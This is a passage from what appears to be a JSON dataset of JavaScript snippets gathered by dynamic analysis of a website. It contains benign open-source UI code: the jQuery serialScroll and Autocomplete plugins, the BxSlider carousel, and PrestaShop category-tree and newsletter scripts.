t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind(\"prev.serialScroll\",-i,q).bind(\"next.serialScroll\",i,q).bind(\"goto.serialScroll\",f)}if(g){u.bind(\"start.serialScroll\",function(v){if(!g){o();g=!0;n()}}).bind(\"stop.serialScroll\",function(){o();g=!1})}u.bind(\"notify.serialScroll\",function(x,w){var v=j(w);if(v>-1){h=v}});p.ssbound=!0;if(t.jump){(r?u:d()).bind(s,function(v){f(v,j(v.target))})}if(k){k=a(k,e).bind(s,function(v){v.data=Math.round(d().length/k.length)*k.index(this);f(v,this)})}function q(v){v.data+=h;f(v,this)}function f(B,z){if(!isNaN(z)){B.data=z;z=p}var C=B.data,v,D=B.type,A=t.exclude?d().slice(0,-t.exclude):d(),y=A.length,w=A[C],x=t.duration;if(D){B.preventDefault()}if(g){o();l=setTimeout(n,t.interval)}if(!w){v=C<0?0:y-1;if(h!=v){C=v}else{if(!t.cycle){return}else{C=y-v-1}}w=A[C]}if(!w||t.lock&&u.is(\":animated\")||D&&t.onBefore&&t.onBefore(B,w,u,d(),C)===!1){return}if(t.stop){u.queue(\"fx\",[]).stop()}if(t.constant){x=Math.abs(x/i*(h-C))}u.scrollTo(w,x,t).trigger(\"notify.serialScroll\",[C])}function n(){u.trigger(\"next.serialScroll\")}function o(){clearTimeout(l)}function d(){return a(m,p)}function j(w){if(!isNaN(w)){return w}var x=d(),v;while((v=x.index(w))==-1&&w!=p){w=w.parentNode}return v}})}})(jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * BxSlider v4.1.2 - Fully loaded, responsive content slider * http://bxslider.com * * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com * Written while drinking Belgian ales and listening to jazz * * Released under the MIT license - http://opensource.org/licenses/MIT */!function(t){var e={},s={mode:\"horizontal\",slideSelector:\"\",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:\"visible\",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:\"full\",pagerShortSeparator:\" / \",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:\"Next\",prevText:\"Prev\",nextSelector:null,prevSelector:null,autoControls:!1,startText:\"Start\",stopText:\"Stop\",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:\"next\",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(n){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(n)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},s,n),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages=\"all\"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp=\"vertical\"==o.settings.mode?\"top\":\"left\",o.usingCSS=o.settings.useCSS&&\"fade\"!=o.settings.mode&&function(){var t=document.createElement(\"div\"),e=[\"WebkitPerspective\",\"MozPerspective\",\"OPerspective\",\"msPerspective\"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace(\"Perspective\",\"\").toLowerCase(),o.animProp=\"-\"+o.cssPrefix+\"-transform\",!0;return!1}(),\"vertical\"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data(\"origStyle\",r.attr(\"style\")),r.children(o.settings.slideSelector).each(function(){t(this).data(\"origStyle\",t(this).attr(\"style\"))}),c()},c=function(){r.wrap('
'),o.viewport=r.parent(),o.loader=t('
'),o.viewport.prepend(o.loader),r.css({width:\"horizontal\"==o.settings.mode?100*o.children.length+215+\"%\":\"auto\",position:\"relative\"}),o.usingCSS&&o.settings.easing?r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",o.settings.easing):o.settings.easing||(o.settings.easing=\"swing\"),f(),o.viewport.css({width:\"100%\",overflow:\"hidden\",position:\"relative\"}),o.viewport.parent().css({maxWidth:p()}),o.settings.pager||o.viewport.parent().css({margin:\"0 auto 0px\"}),o.children.css({\"float\":\"horizontal\"==o.settings.mode?\"left\":\"none\",listStyle:\"none\",position:\"relative\"}),o.children.css(\"width\",u()),\"horizontal\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginRight\",o.settings.slideMargin),\"vertical\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginBottom\",o.settings.slideMargin),\"fade\"==o.settings.mode&&(o.children.css({position:\"absolute\",zIndex:0,display:\"none\"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:\"block\"})),o.controls.el=t('
'),o.settings.captions&&P(),o.active.last=o.settings.startSlide==x()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);\"all\"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&T(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&E(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),g(e,h)},g=function(e,i){var s=e.find(\"img, iframe\").length;if(0==s)return i(),void 0;var n=0;e.find(\"img, iframe\").each(function(){t(this).one(\"load\",function(){++n==s&&i()}).each(function(){this.complete&&t(this).load()})})},h=function(){if(o.settings.infiniteLoop&&\"fade\"!=o.settings.mode&&!o.settings.ticker){var e=\"vertical\"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass(\"bx-clone\"),s=o.children.slice(-e).clone().addClass(\"bx-clone\");r.append(i).prepend(s)}o.loader.remove(),S(),\"vertical\"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(v()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind(\"resize\",Z),o.settings.auto&&o.settings.autoStart&&H(),o.settings.ticker&&L(),o.settings.pager&&q(o.settings.startSlide),o.settings.controls&&W(),o.settings.touchEnabled&&!o.settings.ticker&&O()},v=function(){var e=0,s=t();if(\"vertical\"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var n=1==o.settings.moveSlides?o.active.index:o.active.index*m();for(s=o.children.eq(n),i=1;i<=o.settings.maxSlides-1;i++)s=n+i>=o.children.length?s.add(o.children.eq(i-1)):s.add(o.children.eq(n+i))}else s=o.children.eq(o.active.index);else s=o.children;return\"vertical\"==o.settings.mode?(s.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,s.map(function(){return t(this).outerHeight(!1)}).get()),e},p=function(){var t=\"100%\";return o.settings.slideWidth>0&&(t=\"horizontal\"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},u=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||\"vertical\"==o.settings.mode?t=e:o.settings.maxSlides>1&&\"horizontal\"==o.settings.mode&&(e>o.maxThreshold||e0)if(o.viewport.width()o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else\"vertical\"==o.settings.mode&&(t=o.settings.minSlides);return t},x=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/m();else for(var e=0,i=0;e0&&o.settings.moveSlides<=f()?o.settings.moveSlides:f()},S=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if(\"horizontal\"==o.settings.mode){var t=o.children.last(),e=t.position();b(-(e.left-(o.viewport.width()-t.width())),\"reset\",0)}else if(\"vertical\"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();b(-e.top,\"reset\",0)}}else{var e=o.children.eq(o.active.index*m()).position();o.active.index==x()-1&&(o.active.last=!0),void 0!=e&&(\"horizontal\"==o.settings.mode?b(-e.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-e.top,\"reset\",0))}},b=function(t,e,i,s){if(o.usingCSS){var n=\"vertical\"==o.settings.mode?\"translate3d(0, \"+t+\"px, 0)\":\"translate3d(\"+t+\"px, 0, 0)\";r.css(\"-\"+o.cssPrefix+\"-transition-duration\",i/1e3+\"s\"),\"slide\"==e?(r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),D()})):\"reset\"==e?r.css(o.animProp,n):\"ticker\"==e&&(r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",\"linear\"),r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),b(s.resetValue,\"reset\",0),N()}))}else{var a={};a[o.animProp]=t,\"slide\"==e?r.animate(a,i,o.settings.easing,function(){D()}):\"reset\"==e?r.css(o.animProp,t):\"ticker\"==e&&r.animate(a,speed,\"linear\",function(){b(s.resetValue,\"reset\",0),N()})}},w=function(){for(var e=\"\",i=x(),s=0;i>s;s++){var n=\"\";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(s),o.pagerEl.addClass(\"bx-custom-pager\")):(n=s+1,o.pagerEl.addClass(\"bx-default-pager\")),e+='\"}o.pagerEl.html(e)},T=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t('
'),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass(\"bx-has-pager\").append(o.pagerEl),w()),o.pagerEl.on(\"click\",\"a\",I)},C=function(){o.controls.next=t(''+o.settings.nextText+\"\"),o.controls.prev=t(''+o.settings.prevText+\"\"),o.controls.next.bind(\"click\",y),o.controls.prev.bind(\"click\",z),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('
'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass(\"bx-has-controls-direction\").append(o.controls.directionEl))},E=function(){o.controls.start=t('\"),o.controls.stop=t('\"),o.controls.autoEl=t('
'),o.controls.autoEl.on(\"click\",\".bx-start\",k),o.controls.autoEl.on(\"click\",\".bx-stop\",M),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass(\"bx-has-controls-auto\").append(o.controls.autoEl),A(o.settings.autoStart?\"stop\":\"start\")},P=function(){o.children.each(function(){var e=t(this).find(\"img:first\").attr(\"title\");void 0!=e&&(\"\"+e).length&&t(this).append('
'+e+\"
\")})},y=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},z=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},k=function(t){r.startAuto(),t.preventDefault()},M=function(t){r.stopAuto(),t.preventDefault()},I=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),s=parseInt(i.attr(\"data-slide-index\"));s!=o.active.index&&r.goToSlide(s),e.preventDefault()},q=function(e){var i=o.children.length;return\"short\"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i),void 0):(o.pagerEl.find(\"a\").removeClass(\"active\"),o.pagerEl.each(function(i,s){t(s).find(\"a\").eq(e).addClass(\"active\")}),void 0)},D=function(){if(o.settings.infiniteLoop){var t=\"\";0==o.active.index?t=o.children.eq(0).position():o.active.index==x()-1&&o.carousel?t=o.children.eq((x()-1)*m()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&(\"horizontal\"==o.settings.mode?b(-t.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-t.top,\"reset\",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},A=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find(\"a\").removeClass(\"active\"),o.controls.autoEl.find(\"a:not(.bx-\"+t+\")\").addClass(\"active\"))},W=function(){1==x()?(o.controls.prev.addClass(\"disabled\"),o.controls.next.addClass(\"disabled\")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")):o.active.index==x()-1?(o.controls.next.addClass(\"disabled\"),o.controls.prev.removeClass(\"disabled\")):(o.controls.prev.removeClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")))},H=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},L=function(){var e=0;if(\"next\"==o.settings.autoDirection)r.append(o.children.clone().addClass(\"bx-clone\"));else{r.prepend(o.children.clone().addClass(\"bx-clone\"));var i=o.children.first().position();e=\"horizontal\"==o.settings.mode?-i.left:-i.top}b(e,\"reset\",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+=\"horizontal\"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,s=\"horizontal\"==o.settings.mode?\"left\":\"top\",n=i*(e-Math.abs(parseInt(r.css(s))));N(n)}),N()},N=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};\"next\"==o.settings.autoDirection?e=r.find(\".bx-clone\").first().position():i=o.children.first().position();var s=\"horizontal\"==o.settings.mode?-e.left:-e.top,n=\"horizontal\"==o.settings.mode?-i.left:-i.top,a={resetValue:n};b(s,\"ticker\",speed,a)},O=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind(\"touchstart\",X)},X=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind(\"touchmove\",Y),o.viewport.bind(\"touchend\",V)}},Y=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),s=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>s&&o.settings.preventDefaultSwipeX?t.preventDefault():3*s>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),\"fade\"!=o.settings.mode&&o.settings.oneToOneTouch){var n=0;if(\"horizontal\"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;n=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;n=o.touch.originalPos.top+r}b(n,\"reset\",0)}},V=function(t){o.viewport.unbind(\"touchmove\",Y);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,\"fade\"==o.settings.mode){var s=Math.abs(o.touch.start.x-o.touch.end.x);s>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var s=0;\"horizontal\"==o.settings.mode?(s=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(s=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&s>0||o.active.last&&0>s)?b(i,\"reset\",200):Math.abs(s)>=o.settings.swipeThreshold?(0>s?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):b(i,\"reset\",200)}o.viewport.unbind(\"touchend\",V)},Z=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?x()-1:e>=x()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),\"next\"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):\"prev\"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=x()-1,o.settings.pager&&q(o.active.index),o.settings.controls&&W(),\"fade\"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed),o.children.filter(\":visible\").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css(\"zIndex\",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css(\"zIndex\",o.settings.slideZIndex),D()});else{o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed);var s=0,n={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if(\"horizontal\"==o.settings.mode){var a=o.children.eq(o.children.length-1);n=a.position(),s=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;n=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&\"prev\"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-m():(x()-1)*m()-(o.children.length-o.settings.maxSlides),a=r.children(\".bx-clone\").eq(d);n=a.position()}else if(\"next\"==i&&0==o.active.index)n=r.find(\"> .bx-clone\").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var c=e*m();n=o.children.eq(c).position()}if(\"undefined\"!=typeof n){var g=\"horizontal\"==o.settings.mode?-(n.left-s):-n.top;b(g,\"slide\",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,\"next\")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,\"prev\")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){\"next\"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&A(\"stop\"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&A(\"start\"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(\".bx-clone\")).outerWidth(u()),o.viewport.css(\"height\",v()),o.settings.ticker||S(),o.active.last&&(o.active.index=x()-1),o.active.index>=x()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),q(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(\".bx-clone\",this).remove(),o.children.each(function(){void 0!=t(this).data(\"origStyle\")?t(this).attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\")}),void 0!=t(this).data(\"origStyle\")?this.attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(\".bx-caption\",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind(\"resize\",Z))},r.reloadSlider=function(t){void 0!=t&&(n=t),r.destroySlider(),d()},d(),this}}(jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$('ul.tree.dhtml').hide();\t//to do not execute this script as much as it's called...\tif(!$('ul.tree.dhtml').hasClass('dynamized'))\t{\t\t//add growers to each ul.tree elements\t\t$('ul.tree.dhtml ul').prev().before(\" \");\t\t\t\t//dynamically add the '.last' class on each last item of a branch\t\t$('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last');\t\t\t\t//collapse every expanded branch\t\t$('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide();\t\t$('ul.tree.dhtml').show();\t\t\t\t//open the tree for the selected branch\t\t\t$('ul.tree.dhtml .selected').parents().each( function() {\t\t\t\tif ($(this).is('ul'))\t\t\t\t\ttoggleBranch($(this).prev().prev(), true);\t\t\t});\t\t\ttoggleBranch( $('ul.tree.dhtml .selected').prev(), true);\t\t\t\t//add a fonction on clicks on growers\t\t$('ul.tree.dhtml span.grower').click(function(){\t\t\ttoggleBranch($(this));\t\t});\t\t//mark this 'ul.tree' elements as already 'dynamized'\t\t$('ul.tree.dhtml').addClass('dynamized');\t\t$('ul.tree.dhtml').removeClass('dhtml');\t}});//animate the opening of the branch (span.grower jQueryElement)function openBranch(jQueryElement, noAnimation){\t\tjQueryElement.addClass('OPEN').removeClass('CLOSE');\t\tif(noAnimation)\t\t\tjQueryElement.parent().find('ul:first').show();\t\telse\t\t\tjQueryElement.parent().find('ul:first').slideDown();}//animate the closing of the branch (span.grower jQueryElement)function closeBranch(jQueryElement, noAnimation){\tjQueryElement.addClass('CLOSE').removeClass('OPEN');\tif(noAnimation)\t\tjQueryElement.parent().find('ul:first').hide();\telse\t\tjQueryElement.parent().find('ul:first').slideUp();}//animate the closing or opening of the branch (ul jQueryElement)function toggleBranch(jQueryElement, noAnimation){\tif(jQueryElement.hasClass('OPEN'))\t\tcloseBranch(jQueryElement, noAnimation);\telse\t\topenBranch(jQueryElement, noAnimation);}", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function() { $('#newsletter-input').on({ focus: function() { if ($(this).val() == placeholder_blocknewsletter || $(this).val() == msg_newsl) $(this).val(''); }, blur: function() { if ($(this).val() == '') $(this).val(placeholder_blocknewsletter); } });\tvar cssClass = 'alert alert-danger'; if (typeof nw_error != 'undefined' && !nw_error)\t\tcssClass = 'alert alert-success'; if (typeof msg_newsl != 'undefined' && msg_newsl)\t{ $('#columns').prepend('

' + alert_blocknewsletter + '

');\t\t$('html, body').animate({scrollTop: $('#columns').offset().top}, 'slow');\t}});", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * Autocomplete - jQuery plugin 1.0.2 * * Copyright (c) 2007 Dylan Verheul, Dan G. Switzer, Anjesh Tuladhar, Jรถrn Zaefferer * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Revision: $Id: jquery.autocomplete.js 6844 2011-06-03 14:46:51Z dMetzger $ * */;(function($) {\t$.fn.extend({\tautocomplete: function(urlOrData, options) {\t\tvar isUrl = typeof urlOrData == \"string\";\t\toptions = $.extend({}, $.Autocompleter.defaults, {\t\t\turl: isUrl ? urlOrData : null,\t\t\tdata: isUrl ? null : urlOrData,\t\t\tdelay: isUrl ? $.Autocompleter.defaults.delay : 10,\t\t\tmax: options && !options.scroll ? 10 : 150\t\t}, options);\t\t\t\t// if highlight is set to false, replace it with a do-nothing function\t\toptions.highlight = options.highlight || function(value) { return value; };\t\t\t\t// if the formatMatch option is not specified, then use formatItem for backwards compatibility\t\toptions.formatMatch = options.formatMatch || options.formatItem;\t\t\t\treturn this.each(function() {\t\t\tnew $.Autocompleter(this, options);\t\t});\t},\tresult: function(handler) {\t\treturn this.bind(\"result\", handler);\t},\tsearch: function(handler) {\t\treturn this.trigger(\"search\", [handler]);\t},\tflushCache: function() {\t\treturn this.trigger(\"flushCache\");\t},\tsetOptions: function(options){\t\treturn this.trigger(\"setOptions\", [options]);\t},\tunautocomplete: function() {\t\treturn this.trigger(\"unautocomplete\");\t}});$.Autocompleter = function(input, options) {\tvar KEY = {\t\tUP: 38,\t\tDOWN: 40,\t\tDEL: 46,\t\tTAB: 9,\t\tRETURN: 13,\t\tESC: 27,\t\tCOMMA: 188,\t\tPAGEUP: 33,\t\tPAGEDOWN: 34,\t\tBACKSPACE: 8\t};\t// Create $ object for input element\tvar $input = $(input).attr(\"autocomplete\", \"off\").addClass(options.inputClass);\tvar timeout;\tvar previousValue = \"\";\tvar cache = $.Autocompleter.Cache(options);\tvar hasFocus = 0;\tvar lastKeyPressCode;\tvar config = {\t\tmouseDownOnSelect: false\t};\tvar select = $.Autocompleter.Select(options, input, selectCurrent, config);\t\tvar blockSubmit;\t\t// prevent form submit in opera when selecting with return key\t$.browser.opera && $(input.form).bind(\"submit.autocomplete\", function() {\t\tif (blockSubmit) {\t\t\tblockSubmit = false;\t\t\treturn false;\t\t}\t});\t\t// only opera doesn't trigger keydown multiple times while pressed, others don't work with keypress at all\t$input.bind(($.browser.opera ? \"keypress\" : \"keydown\") + \".autocomplete\", function(event) {\t\t// track last key pressed\t\tlastKeyPressCode = event.keyCode;\t\tswitch(event.keyCode) {\t\t\t\t\tcase KEY.UP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.prev();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.DOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.next();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEUP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageUp();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEDOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageDown();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t// matches also semicolon\t\t\tcase options.multiple && $.trim(options.multipleSeparator) == \",\" && KEY.COMMA:\t\t\tcase KEY.TAB:\t\t\tcase KEY.RETURN:\t\t\t\tif( selectCurrent() ) {\t\t\t\t\t// stop default to prevent a form submit, Opera needs special handling\t\t\t\t\tevent.preventDefault();\t\t\t\t\tblockSubmit = true;\t\t\t\t\treturn false;\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.ESC:\t\t\t\tselect.hide();\t\t\t\tbreak;\t\t\t\t\t\t\tdefault:\t\t\t\tclearTimeout(timeout);\t\t\t\ttimeout = setTimeout(onChange, options.delay);\t\t\t\tbreak;\t\t}\t}).focus(function(){\t\t// track whether the field has focus, we shouldn't process any\t\t// results if the field no longer has focus\t\thasFocus++;\t}).blur(function() {\t\thasFocus = 0;\t\tif (!config.mouseDownOnSelect) {\t\t\thideResults();\t\t}\t}).click(function() {\t\t// show select when clicking in a focused field\t\tif ( hasFocus++ > 1 && !select.visible() ) {\t\t\tonChange(0, 